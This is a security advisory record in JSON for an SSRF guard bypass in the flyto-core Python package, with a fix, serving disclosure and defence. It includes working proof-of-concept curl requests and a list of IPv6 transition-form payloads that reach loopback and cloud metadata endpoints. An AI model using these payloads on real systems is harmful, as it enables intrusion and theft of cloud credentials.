{"id":"PYSEC-2026-2481","summary":"flyto-core has SSRF guard bypass via IPv6 transition addresses (IPv4-mapped / 6to4 / NAT64) in validate_url_ssrf","details":"## Summary\n\n`flyto-core`'s SSRF protection (`validate_url_ssrf` / `is_private_ip` in `src/core/utils.py`) blocks private and metadata destinations by resolving the host and testing the resulting IP for membership in a hardcoded `PRIVATE_IP_RANGES` list. That list contains only the *native* RFC 1918 / loopback / link-local / unique-local ranges. It does **not** account for IPv6 transition address forms that embed an IPv4 (or loopback) target:\n\n- IPv4-mapped `::ffff:a.b.c.d`\n- IPv4-compatible `::a.b.c.d`\n- 6to4 `2002::/16`\n- NAT64 well-known prefix `64:ff9b::/96` and local-use `64:ff9b:1::/48`\n\nA workflow author can submit a URL with a literal transition-form host (for example `http://[::ffff:127.0.0.1]:8080/...` or `http://[64:ff9b::a9fe:a9fe]/latest/meta-data/`). `is_private_ip()` returns `False` for these (the address is not literally inside any listed range), so `validate_url_ssrf` lets the request through, and the `http.get` atomic module (and ~10 sibling modules that share the same guard) performs the outbound `aiohttp` fetch and returns the response body. On a host that uses NAT64/6to4 these addresses route to the embedded IPv4 endpoint (e.g. the cloud instance-metadata service `169.254.169.254`); on any dual-stack host the IPv4-mapped form is routed by the kernel directly to the embedded IPv4, including loopback and RFC 1918 internal services.\n\nThis is CWE-918 (Server-Side Request Forgery): the guard that exists specifically to keep workflow-authored URLs away from internal/metadata endpoints is bypassable, and the response body is returned to the caller (a read SSRF).\n\n## Affected code\n\n`src/core/utils.py`:\n\n- `PRIVATE_IP_RANGES` (around L297) — lists native ranges only; no `64:ff9b::/96`, no `2002::/16`, no `::ffff:0:0/96`, no `::/96`.\n- `is_private_ip(ip_str)` (around L337) — `ipaddress.ip_address(ip_str)` then membership test against `PRIVATE_IP_RANGES`. Because the test is plain network membership (not `is_global`/`is_private` predicates), it does not unwrap transition forms, so even `::ffff:127.0.0.1` — which `ipaddress` itself classifies `is_private == True` — is **not** caught here.\n- `validate_url_ssrf` (around L358) — resolves via `socket.getaddrinfo(hostname, None, AF_UNSPEC)` and rejects only when `is_private_ip(ip)` is `True`.\n- `validate_url_with_env_config(url)` (around L496) — the wrapper actually invoked by the modules.\n\nTrust boundary in `src/core/modules/atomic/http/get.py`:\n\n- L93 `url = params.get('url')` — workflow parameter, attacker-controlled by the workflow author.\n- L104 `validate_url_with_env_config(url)` — the guard above.\n- L116 `async with session.get(url, headers=headers, ssl=ssl_param) as response` — `aiohttp` fetch; the body is returned to the caller.\n\n### How input reaches the sink (reachability)\n\n`params['url']` (L93) is fully attacker-controlled by the workflow author. It reaches the sink with no intervening sanitization other than the SSRF guard itself: L93 read → L104 `validate_url_with_env_config(url)` (the bypassed guard) → L116 `aiohttp` `session.get`. The route is `POST /v1/execute` with body `{\"module_id\":\"http.get\",\"params\":{\"url\":...}}` (bearer-token authenticated; the token is the per-instance workflow-author credential), or equivalently an `http.get` node in a workflow YAML. The response body is returned in the `data.body` field, making this a read SSRF.\n\nThe same guarded-then-fetch pattern is shared by the `http.{request,batch,paginate,session}`, `browser.goto`, `image.download`, `communication.webhook_trigger`, `notification.send`, `vector.connector` and `llm.chat` atomic modules.\n\n## Impact\n\nA user who can author/execute a workflow (the product's normal untrusted-input surface — reachable over the Execution API `POST /v1/execute` with a module-execute body, or via a workflow YAML node) can drive an authenticated outbound GET to internal-only destinations that the SSRF guard is explicitly meant to block:\n\n- Cloud instance-metadata service (`169.254.169.254`, `metadata.google.internal`) on NAT64/6to4-routed hosts via `http://[64:ff9b::a9fe:a9fe]/...`, exposing IAM credentials / instance identity.\n- Loopback and RFC 1918 internal services on any dual-stack host via the IPv4-mapped form `http://[::ffff:127.0.0.1]:8080/...`, `http://[::ffff:10.x.x.x]/...`.\n\nThe response body is returned, so this is a read SSRF (data exfiltration from internal services), not merely a blind request. Auth required = workflow author; this is precisely the input class the guard was written to constrain, and `SECURITY.md` documents the resolved-IP check as a security control, so the bypass is against the project's own stated model. CWE-918. Severity: Medium-High.\n\n## PoC / Proof of concept\n\n### End-to-end reproduction (against pinned version)\n\nEnvironment: real `flyto-core` Execution API booted from a clean install of the current default-branch HEAD (commit `4636d9f0dcf220a11cfaa1a63927b79042bfdc5c`), Python 3.12.13, `aiohttp` 3.13.5. No `FLYTO_ALLOW_PRIVATE_NETWORK` / `FLYTO_ALLOWED_HOSTS` / `FLYTO_VSCODE_LOCAL_MODE` set (production defaults).\n\nInstall and boot the real server:\n\n```\ngit clone https://github.com/flytohub/flyto-core && cd flyto-core\npython3.12 -m venv venv && . venv/bin/activate\npip install \".[api]\"\npython -m core.api            # starts uvicorn on 127.0.0.1:8333; prints token path\nTOKEN=$(cat ~/.flyto/.api-token-8333)   # auto-generated bearer token for /v1/execute\n```\n\nStart a sentinel that stands in for an internal-only service (bound to loopback, on an allowed port 8080):\n\n```python\n# sentinel.py — simulates an internal metadata/admin service reachable only from the host\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nSENTINEL = \"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN\"\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = f\"{SENTINEL} path={self.path} from={self.client_address[0]}\".encode()\n        self.send_response(200); self.send_header(\"Content-Type\",\"text/plain\")\n        self.send_header(\"Content-Length\",str(len(body))); self.end_headers(); self.wfile.write(body)\n    def log_message(self,*a): pass\nHTTPServer((\"127.0.0.1\", 8080), H).serve_forever()\n```\n\nRun `python sentinel.py` in a second terminal.\n\n### Negative control 1 — raw loopback literal is correctly blocked\n\n```\n$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H \"Authorization: Bearer $TOKEN\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"module_id\":\"http.get\",\"params\":{\"url\":\"http://127.0.0.1:8080/latest/meta-data/\"}}'\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 127.0.0.1\",\"browser_session\":null,\"duration_ms\":6010}\n```\n\n### Negative control 2 — raw IMDS literal is correctly blocked\n\n```\n$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H \"Authorization: Bearer $TOKEN\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"module_id\":\"http.get\",\"params\":{\"url\":\"http://169.254.169.254/latest/meta-data/\"}}'\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] Hostname blocked: 169.254.169.254\",\"browser_session\":null,\"duration_ms\":3003}\n```\n\n### Bypass — IPv4-mapped IPv6 literal reaches the internal sentinel\n\n```\n$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H \"Authorization: Bearer $TOKEN\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"module_id\":\"http.get\",\"params\":{\"url\":\"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role\"}}'\n{\"ok\":true,\"data\":{\"ok\":true,\"data\":{\"status\":200,\"body\":\"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN path=/latest/meta-data/iam/security-credentials/admin-role from=127.0.0.1\",\"headers\":{\"Server\":\"BaseHTTP/0.6 Python/3.12.13\",\"Date\":\"Sat, 30 May 2026 08:13:39 GMT\",\"Content-Type\":\"text/plain\",\"Content-Length\":\"124\"}}},\"error\":null,\"browser_session\":null,\"duration_ms\":1}\n```\n\nThe sentinel access log confirms the request really arrived from the app:\n\n```\n[sentinel] \"GET /latest/meta-data/iam/security-credentials/admin-role HTTP/1.1\" 200 -\n```\n\nThe guard passed the transition-form host and the internal sentinel body (including the `FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f_IMDS_STANDIN` marker) was returned to the caller.\n\n### Bypass — NAT64 well-known-prefix IMDS vector reaches the SSRF gate\n\nOn this host there is no NAT64 router, so the connection cannot complete; the point is that the guard **does not raise `SSRFError`** for the NAT64 form (it proceeds to a network connect that then times out), in contrast to the raw `169.254.169.254` which is blocked at the guard:\n\n```\n$ curl -s -X POST http://127.0.0.1:8333/v1/execute -H \"Authorization: Bearer $TOKEN\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"module_id\":\"http.get\",\"params\":{\"url\":\"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/\"}}'\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] \",\"browser_session\":null,\"duration_ms\":95805}\n```\n\n(`64:ff9b::a9fe:a9fe` is the NAT64-WKP encoding of `169.254.169.254`. The empty `[NETWORK_ERROR]` is a connect timeout, **not** the `Hostname blocked` / `URL resolves to private IP` SSRF rejection seen for the raw forms — proving the guard let it through to the network layer. On a NAT64-enabled host the kernel routes this to the cloud metadata endpoint.)\n\n### Vector liveness on the affected runtime\n\nVerified directly against the project's guard logic on Python 3.12.13 (the Dockerfile runtime; `requires-python \u003e= 3.9`). Because the guard uses plain `PRIVATE_IP_RANGES` membership rather than the `is_global`/`is_private` predicates, it is **not** affected by the CPython CVE-2024-4032 (3.12.4+) reclassification, and all of these bypass the guard on every supported runtime:\n\n```\n64:ff9b::a9fe:a9fe       guard_blocks=False   (NAT64-WKP -\u003e 169.254.169.254)\n64:ff9b::7f00:1          guard_blocks=False   (NAT64-WKP -\u003e 127.0.0.1)\n2002:7f00:1::            guard_blocks=False   (6to4 -\u003e 127.0.0.1)\n::ffff:169.254.169.254   guard_blocks=False   (IPv4-mapped -\u003e IMDS)\n::ffff:127.0.0.1         guard_blocks=False   (IPv4-mapped -\u003e loopback)   [used in the deployed bypass above]\n169.254.169.254          guard_blocks=True    (native, correctly blocked)\n127.0.0.1                guard_blocks=True    (native, correctly blocked)\n```\n\n## Suggested fix\n\nUnwrap any embedded IPv4 from IPv6 transition forms and range-check it as well as the outer address, before the membership test. Re-checking the embedded IPv4 (rather than blanket-blocking the prefix) keeps legitimate public destinations expressed in transition form allowed.\n\n```python\ndef _extract_embedded_ipv4(ip):\n    \"\"\"IPv4 embedded in an IPv6 transition address (mapped/compat/6to4/NAT64), else None.\"\"\"\n    if ip.version != 6:\n        return None\n    if ip.ipv4_mapped is not None:\n        return ip.ipv4_mapped\n    if ip.sixtofour is not None:               # 2002::/16\n        return ip.sixtofour\n    raw = int(ip).to_bytes(16, 'big')\n    if raw[:2] == b'\\x00\\x64' and (raw[2:4] == b'\\xff\\x9b' or raw[2:6] == b'\\xff\\x9b\\x00\\x01'):\n        return ipaddress.IPv4Address(raw[-4:])  # NAT64 64:ff9b::/96 and 64:ff9b:1::/48\n    if raw[:12] == bytes(12) and raw[12:] not in (bytes(4), b'\\x00\\x00\\x00\\x01'):\n        return ipaddress.IPv4Address(raw[-4:])  # IPv4-compatible ::a.b.c.d (deprecated)\n    return None\n\n\ndef is_private_ip(ip_str: str) -\u003e bool:\n    try:\n        ip = ipaddress.ip_address(ip_str)\n    except ValueError:\n        return True\n    candidates = [ip]\n    embedded = _extract_embedded_ipv4(ip)\n    if embedded is not None:\n        candidates.append(embedded)\n    for candidate in candidates:\n        for network in PRIVATE_IP_RANGES:\n            if candidate.version == network.version and candidate in network:\n                return True\n    return False\n```\n\n### Patched-build verification (same deployed server, fix applied)\n\nWith the fix applied to the installed `core/utils.py` and the server restarted, the previously-successful bypass is now blocked at the guard, and the NAT64 form is now an `SSRFError` instead of a connect timeout:\n\n```\n# [::ffff:127.0.0.1]:8080  (was ok:true returning the sentinel; now blocked)\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: ::ffff:127.0.0.1 -\u003e ::ffff:127.0.0.1. Use 'allowed_hosts' to enable controlled private access.\",\"duration_ms\":5573}\n\n# [64:ff9b::a9fe:a9fe]  (was a 95s connect timeout; now rejected at the SSRF gate)\n{\"ok\":false,\"data\":null,\"error\":\"Module http.get failed after 3 attempts: [NETWORK_ERROR] URL resolves to private IP: 64:ff9b::a9fe:a9fe -\u003e 64:ff9b::a9fe:a9fe. Use 'allowed_hosts' to enable controlled private access.\",\"duration_ms\":3003}\n```\n\nPublic destinations expressed in transition form (e.g. `::ffff:8.8.8.8`, `64:ff9b::808:808` = 8.8.8.8) remain allowed by the fix, since the embedded IPv4 is itself public.\n\n## Fix PR\n\nA fix PR with the change above plus regression tests is provided via the advisory's private temporary fork (link added to this advisory).\n\n## Credit\n\nReported by tonghuaroot. Found by independent source review and confirmed with the deployed end-to-end reproduction above. CWE-918.","aliases":["CVE-2026-55787","GHSA-794r-5rp2-fpg8"],"modified":"2026-07-13T16:31:47.492722881Z","published":"2026-07-13T15:46:28.276574Z","references":[{"type":"WEB","url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-794r-5rp2-fpg8"},{"type":"PACKAGE","url":"https://github.com/flytohub/flyto-core"},{"type":"PACKAGE","url":"https://pypi.org/project/flyto-core"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-794r-5rp2-fpg8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55787"}],"affected":[{"package":{"name":"flyto-core","ecosystem":"PyPI","purl":"pkg:pypi/flyto-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26.3"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.14.2","1.15.0","1.16.0","1.16.1","1.16.10","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.2.0","1.3.0","1.4.0","1.5.0","1.5.1","1.5.2","1.5.4","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.10","1.8.11","1.8.12","1.8.13","1.8.14","1.8.15","1.8.16","1.8.17","1.8.2","1.8.3","1.8.4","1.8.5","1.8.6","1.8.7","1.8.8","1.8.9","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.10.0","2.11.0","2.12.0","2.12.1","2.12.13","2.12.15","2.12.16","2.12.17","2.12.18","2.12.19","2.12.2","2.12.20","2.12.21","2.12.22","2.12.23","2.12.24","2.12.25","2.12.26","2.12.27","2.12.28","2.12.3","2.12.4","2.12.5","2.12.6","2.13.0","2.13.1","2.13.2","2.13.3","2.13.4","2.14.0","2.15.0","2.15.1","2.15.2","2.15.3","2.16.1","2.16.3","2.16.4","2.17.0","2.17.1","2.17.2","2.17.3","2.17.4","2.17.5","2.17.6","2.17.7","2.17.8","2.18.0","2.18.1","2.18.10","2.18.11","2.18.2","2.18.3","2.18.4","2.18.5","2.18.6","2.18.8","2.18.9","2.19.0","2.2.0","2.2.1","2.2.2","2.20.0","2.20.1","2.20.2","2.20.3","2.20.4","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","2.24.3","2.24.4","2.25.0","2.25.1","2.25.10","2.25.11","2.25.12","2.25.13","2.25.14","2.25.15","2.25.16","2.25.17","2.25.18","2.25.19","2.25.2","2.25.20","2.25.21","2.25.22","2.25.23","2.25.24","2.25.25","2.25.26","2.25.27","2.25.3","2.25.4","2.25.5","2.25.6","2.25.7","2.25.8","2.25.9","2.26.0","2.26.1","2.26.2","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6","2.4.7","2.5.0","2.5.1","2.5.2","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.7.4","2.7.5","2.7.6","2.8.0","2.9.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/flyto-core/PYSEC-2026-2481.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N"}]}